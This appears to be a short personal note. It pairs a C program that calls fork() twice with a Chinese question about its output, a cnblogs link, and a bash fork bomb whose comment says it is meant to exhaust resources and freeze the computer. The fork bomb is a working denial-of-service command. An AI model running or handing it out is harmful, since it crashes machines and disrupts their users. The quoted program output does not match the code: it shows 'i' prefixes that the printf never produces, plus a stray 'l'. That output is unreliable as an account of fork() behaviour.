#include
#include
int main(void)
{
int i = 1;
int pid;
if(!(pid = fork()))
i++;
printf("%d pid=%d\n",i,pid);
if(!(pid = fork()))
i++;
printf("%d pid=%d\n",i,pid);
return 0;
}
为什么编译运行后结果是
1 pid=3870
i1 pid=3871
i2 pid=0
2 pid=0
i2 pid=3872
i3 pid=0
l
https://www.cnblogs.com/dongguolei/p/8086346.html
#!/bin/bash
#快速消耗计算机资源,致使计算机死机
#定义函数名为.(点), 函数中递归调用自己并放入后台执行
.() { .|.& };.